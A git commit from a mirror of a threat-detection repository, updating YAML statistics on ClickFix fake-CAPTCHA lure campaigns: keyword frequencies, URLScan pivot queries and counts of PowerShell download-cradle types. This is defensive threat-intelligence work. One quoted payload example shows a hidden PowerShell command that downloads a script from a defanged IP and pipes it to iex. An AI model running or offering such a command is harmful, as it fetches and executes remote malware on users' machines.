mirror of
https://github.com/iimp0ster/detection-chokepoints
synced 2026-08-09 12:41:00 +00:00
chore(clickgrab): full-page refresh to 2026-07-16 (volume, landscape, lure keywords)
Complete the living-document refresh on top of the Carson cradle rebuild: - daily/volume: +3 MHaggis days (Jul 14-16) via analyze_clickgrab; total_sites_crawled 26,969 -> 27,269, window now through 2026-07-16. - carson_landscape refreshed to 3,774 (gist, Jul 16). total_domains held at the Carson XLSX set (3,777) -- analyze preserves it distinct from the landscape count, no clobber. - clickfix_lure_keywords.yml regenerated from the updated MHaggis cache (IOK / URLScan page.body pivots; feeds IOK rules, not rendered on the trends page). Frozen by design, not refreshed (DECISIONS #011): payload_examples (rich generator gone, pre-Oct-2025 reports LFS-locked) and staging_domains (21 entries, all already ASN-enriched; new infra is manual curation, and enrich_staging_domains is local-only). Detection recs are all behavior/chokepoint-anchored and already cover the summer cradle reversal (the cradle-agnostic rule caught msiexec and the PowerShell comeback), so no new rule -- adding one would be false coverage. Verified: jekyll builds clean (exit 0, full build ~341s), clickgrab page renders with the refreshed data. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bx33CDbC3G8DQMQMARewof
This commit is contained in:
imposter
co-authored by
Claude Opus 4.8
Claude Opus 4.8
parent
916885a169
commit
2613361e54
@@ -2,133 +2,133 @@
|
||||
# keywords from MHaggis crawls, for chokepoint OSINT pivots + IOK matchers (#012).
|
||||
|
||||
meta:
|
||||
generated: '2026-06-15'
|
||||
generated: '2026-07-17'
|
||||
source: MHaggis ClickGrab nightly crawls (SuspiciousKeywords)
|
||||
sites_analyzed: 2700
|
||||
sites_analyzed: 4662
|
||||
lure_keywords:
|
||||
- phrase: robot
|
||||
sites: 1140
|
||||
sites: 1953
|
||||
- phrase: captcha
|
||||
sites: 656
|
||||
sites: 1095
|
||||
- phrase: verification
|
||||
sites: 494
|
||||
sites: 761
|
||||
- phrase: i am not a robot
|
||||
sites: 388
|
||||
- phrase: to better prove you are not a robot
|
||||
sites: 388
|
||||
sites: 599
|
||||
- phrase: captcha verification
|
||||
sites: 388
|
||||
sites: 582
|
||||
- phrase: verification-id
|
||||
sites: 388
|
||||
sites: 582
|
||||
- phrase: you will observe
|
||||
sites: 388
|
||||
- phrase: verify you are human
|
||||
sites: 342
|
||||
sites: 582
|
||||
- phrase: to better prove you are not a robot
|
||||
sites: 582
|
||||
- phrase: verification id
|
||||
sites: 342
|
||||
sites: 513
|
||||
- phrase: verify you are human
|
||||
sites: 513
|
||||
- phrase: ray id
|
||||
sites: 317
|
||||
sites: 468
|
||||
- phrase: checking if you are human
|
||||
sites: 317
|
||||
sites: 451
|
||||
- phrase: captcha-verificatie-id
|
||||
sites: 290
|
||||
sites: 405
|
||||
- phrase: captchaloading
|
||||
sites: 71
|
||||
sites: 131
|
||||
- phrase: captcha-logo
|
||||
sites: 71
|
||||
- phrase: captchalisteners
|
||||
sites: 71
|
||||
sites: 131
|
||||
- phrase: captchacheckbox
|
||||
sites: 71
|
||||
- phrase: captcha-badge
|
||||
sites: 52
|
||||
- phrase: invoke
|
||||
sites: 51
|
||||
sites: 131
|
||||
- phrase: captchalisteners
|
||||
sites: 131
|
||||
- phrase: captcha-js
|
||||
sites: 51
|
||||
sites: 89
|
||||
- phrase: captcha-badge
|
||||
sites: 86
|
||||
- phrase: verification hash
|
||||
sites: 46
|
||||
- phrase: captcha-js-before
|
||||
sites: 26
|
||||
- phrase: amos
|
||||
sites: 26
|
||||
sites: 86
|
||||
- phrase: invoke
|
||||
sites: 83
|
||||
- phrase: captcha-box
|
||||
sites: 25
|
||||
sites: 45
|
||||
- phrase: captcha-js-before
|
||||
sites: 45
|
||||
- phrase: captcha-frontend-css
|
||||
sites: 25
|
||||
- phrase: bitmap
|
||||
sites: 24
|
||||
- phrase: virtualalloc
|
||||
sites: 24
|
||||
- phrase: captcha-styles-css
|
||||
sites: 22
|
||||
sites: 44
|
||||
- phrase: amos
|
||||
sites: 44
|
||||
- phrase: captcha-verified
|
||||
sites: 22
|
||||
sites: 42
|
||||
- phrase: captcha-overlay
|
||||
sites: 22
|
||||
sites: 42
|
||||
- phrase: captchaimages
|
||||
sites: 22
|
||||
- phrase: captcha-styles
|
||||
sites: 22
|
||||
- phrase: captcha-loader
|
||||
sites: 22
|
||||
- phrase: captcha-container
|
||||
sites: 22
|
||||
- phrase: captcha-loader-js
|
||||
sites: 22
|
||||
sites: 42
|
||||
- phrase: captcha-modal
|
||||
sites: 22
|
||||
sites: 42
|
||||
- phrase: captcha-styles
|
||||
sites: 42
|
||||
- phrase: captcha-container
|
||||
sites: 42
|
||||
- phrase: captcha-loader
|
||||
sites: 42
|
||||
- phrase: captcha-loader-js
|
||||
sites: 42
|
||||
- phrase: captcha-styles-css
|
||||
sites: 42
|
||||
- phrase: virtualalloc
|
||||
sites: 37
|
||||
- phrase: bitmap
|
||||
sites: 37
|
||||
- phrase: odyssey
|
||||
sites: 21
|
||||
sites: 37
|
||||
- phrase: captchaerror
|
||||
sites: 14
|
||||
sites: 33
|
||||
- phrase: captchasitekey
|
||||
sites: 14
|
||||
sites: 33
|
||||
- phrase: press enter
|
||||
sites: 13
|
||||
sites: 29
|
||||
lure_families:
|
||||
- name: CaptchaElements
|
||||
sites: 459
|
||||
sites: 706
|
||||
- name: FakeCloudflare
|
||||
sites: 455
|
||||
sites: 664
|
||||
- name: FakeGlitchLures
|
||||
sites: 229
|
||||
sites: 417
|
||||
- name: BotDetection
|
||||
sites: 61
|
||||
sites: 129
|
||||
- name: ClickFixInstructions
|
||||
sites: 27
|
||||
sites: 79
|
||||
- name: FakeWindowsUpdate
|
||||
sites: 24
|
||||
sites: 37
|
||||
urlscan_pivots:
|
||||
- phrase: i am not a robot
|
||||
sites: 388
|
||||
sites: 599
|
||||
query: page.body:navigator.clipboard AND page.body:"i am not a robot"
|
||||
url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22i%20am%20not%20a%20robot%22
|
||||
- phrase: to better prove you are not a robot
|
||||
sites: 388
|
||||
query: page.body:navigator.clipboard AND page.body:"to better prove you are not a robot"
|
||||
url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22to%20better%20prove%20you%20are%20not%20a%20robot%22
|
||||
- phrase: captcha verification
|
||||
sites: 388
|
||||
sites: 582
|
||||
query: page.body:navigator.clipboard AND page.body:"captcha verification"
|
||||
url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22captcha%20verification%22
|
||||
- phrase: verification-id
|
||||
sites: 388
|
||||
sites: 582
|
||||
query: page.body:navigator.clipboard AND page.body:"verification-id"
|
||||
url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22verification-id%22
|
||||
- phrase: you will observe
|
||||
sites: 388
|
||||
sites: 582
|
||||
query: page.body:navigator.clipboard AND page.body:"you will observe"
|
||||
url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22you%20will%20observe%22
|
||||
- phrase: verify you are human
|
||||
sites: 342
|
||||
query: page.body:navigator.clipboard AND page.body:"verify you are human"
|
||||
url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22verify%20you%20are%20human%22
|
||||
- phrase: to better prove you are not a robot
|
||||
sites: 582
|
||||
query: page.body:navigator.clipboard AND page.body:"to better prove you are not a robot"
|
||||
url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22to%20better%20prove%20you%20are%20not%20a%20robot%22
|
||||
- phrase: verification id
|
||||
sites: 342
|
||||
sites: 513
|
||||
query: page.body:navigator.clipboard AND page.body:"verification id"
|
||||
url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22verification%20id%22
|
||||
- phrase: verify you are human
|
||||
sites: 513
|
||||
query: page.body:navigator.clipboard AND page.body:"verify you are human"
|
||||
url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22verify%20you%20are%20human%22
|
||||
- phrase: checking if you are human
|
||||
sites: 317
|
||||
sites: 451
|
||||
query: page.body:navigator.clipboard AND page.body:"checking if you are human"
|
||||
url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22checking%20if%20you%20are%20human%22
|
||||
|
||||
+90
-33
@@ -4,17 +4,17 @@
|
||||
|
||||
meta:
|
||||
source: https://mhaggis.github.io/ClickGrab/
|
||||
date_range: 2025-04-17 to 2026-07-13
|
||||
total_reports: 548
|
||||
total_sites_crawled: 26969
|
||||
total_malicious: 22772
|
||||
date_range: 2025-04-17 to 2026-07-16
|
||||
total_reports: 551
|
||||
total_sites_crawled: 27269
|
||||
total_malicious: 22890
|
||||
total_domains: 3777
|
||||
generated: '2026-07-13'
|
||||
appended_through: '2026-07-13'
|
||||
carson_landscape: 3736
|
||||
carson_updated: '2026-07-09T04:00:44Z'
|
||||
carson_lure_overlap: 64
|
||||
carson_lure_observed: 96
|
||||
generated: '2026-07-17'
|
||||
appended_through: '2026-07-16'
|
||||
carson_landscape: 3774
|
||||
carson_updated: '2026-07-16T21:00:53Z'
|
||||
carson_lure_overlap: 58
|
||||
carson_lure_observed: 89
|
||||
domain_source: clickfix-domains-all-2026-07-17.xlsx
|
||||
domain_updated: '2026-07-17'
|
||||
daily:
|
||||
@@ -5038,6 +5038,63 @@ daily:
|
||||
self_delete: 3
|
||||
start_sleep: 3
|
||||
hidden_window: 5
|
||||
- date: '2026-07-14'
|
||||
total_sites: 100
|
||||
malicious: 41
|
||||
cradles:
|
||||
iwr_iex: 3
|
||||
irm_iex: 0
|
||||
webclient: 3
|
||||
curl: 0
|
||||
msiexec: 0
|
||||
vbs_wscript: 1
|
||||
hex_xor: 0
|
||||
inline_no_url: 0
|
||||
evasion:
|
||||
mixed_case: 0
|
||||
base64: 1
|
||||
cdn_staging: 1
|
||||
self_delete: 3
|
||||
start_sleep: 3
|
||||
hidden_window: 5
|
||||
- date: '2026-07-15'
|
||||
total_sites: 100
|
||||
malicious: 41
|
||||
cradles:
|
||||
iwr_iex: 3
|
||||
irm_iex: 0
|
||||
webclient: 2
|
||||
curl: 1
|
||||
msiexec: 0
|
||||
vbs_wscript: 1
|
||||
hex_xor: 0
|
||||
inline_no_url: 1
|
||||
evasion:
|
||||
mixed_case: 0
|
||||
base64: 1
|
||||
cdn_staging: 1
|
||||
self_delete: 2
|
||||
start_sleep: 2
|
||||
hidden_window: 4
|
||||
- date: '2026-07-16'
|
||||
total_sites: 100
|
||||
malicious: 36
|
||||
cradles:
|
||||
iwr_iex: 3
|
||||
irm_iex: 0
|
||||
webclient: 1
|
||||
curl: 1
|
||||
msiexec: 0
|
||||
vbs_wscript: 1
|
||||
hex_xor: 0
|
||||
inline_no_url: 2
|
||||
evasion:
|
||||
mixed_case: 0
|
||||
base64: 1
|
||||
cdn_staging: 1
|
||||
self_delete: 1
|
||||
start_sleep: 1
|
||||
hidden_window: 3
|
||||
payload_examples:
|
||||
iwr_iex:
|
||||
- date: '2025-08-14'
|
||||
@@ -5080,22 +5137,22 @@ payload_examples:
|
||||
- date: '2025-10-31'
|
||||
text: cmd.exe /c start /min powershell -w hidden -nop -c "(New-Object Net.WebClient).DownloadString('hxxps://95[.]164[.]53[.]214/b.ps1') | iex"
|
||||
cradles_total:
|
||||
iwr_iex: 2269
|
||||
iwr_iex: 2278
|
||||
irm_iex: 89
|
||||
webclient: 1034
|
||||
curl: 1437
|
||||
webclient: 1040
|
||||
curl: 1439
|
||||
msiexec: 1027
|
||||
vbs_wscript: 387
|
||||
vbs_wscript: 390
|
||||
hex_xor: 70
|
||||
inline_no_url: 705
|
||||
inline_no_url: 708
|
||||
evasion_totals:
|
||||
mixed_case: 1697
|
||||
base64: 10477
|
||||
cdn_staging: 464
|
||||
self_delete: 1017
|
||||
start_sleep: 1017
|
||||
hidden_window: 3509
|
||||
inline_payload: 705
|
||||
base64: 10480
|
||||
cdn_staging: 467
|
||||
self_delete: 1023
|
||||
start_sleep: 1023
|
||||
hidden_window: 3521
|
||||
inline_payload: 708
|
||||
domain_monthly:
|
||||
- month: 2025-08
|
||||
n: 135
|
||||
@@ -5709,24 +5766,24 @@ monthly:
|
||||
start_sleep: 83
|
||||
hidden_window: 139
|
||||
- month: 2026-07
|
||||
total_sites: 1262
|
||||
malicious: 522
|
||||
total_sites: 1562
|
||||
malicious: 640
|
||||
cradles:
|
||||
iwr_iex: 39
|
||||
iwr_iex: 48
|
||||
irm_iex: 0
|
||||
webclient: 22
|
||||
curl: 18
|
||||
webclient: 28
|
||||
curl: 20
|
||||
msiexec: 0
|
||||
vbs_wscript: 13
|
||||
vbs_wscript: 16
|
||||
hex_xor: 0
|
||||
inline_no_url: 13
|
||||
inline_no_url: 16
|
||||
evasion:
|
||||
mixed_case: 0
|
||||
base64: 13
|
||||
cdn_staging: 13
|
||||
self_delete: 22
|
||||
start_sleep: 22
|
||||
hidden_window: 48
|
||||
base64: 16
|
||||
cdn_staging: 16
|
||||
self_delete: 28
|
||||
start_sleep: 28
|
||||
hidden_window: 60
|
||||
domain_cradles_total:
|
||||
iwr: 343
|
||||
irm: 196
|
||||
|
||||
Reference in New Issue
Block a user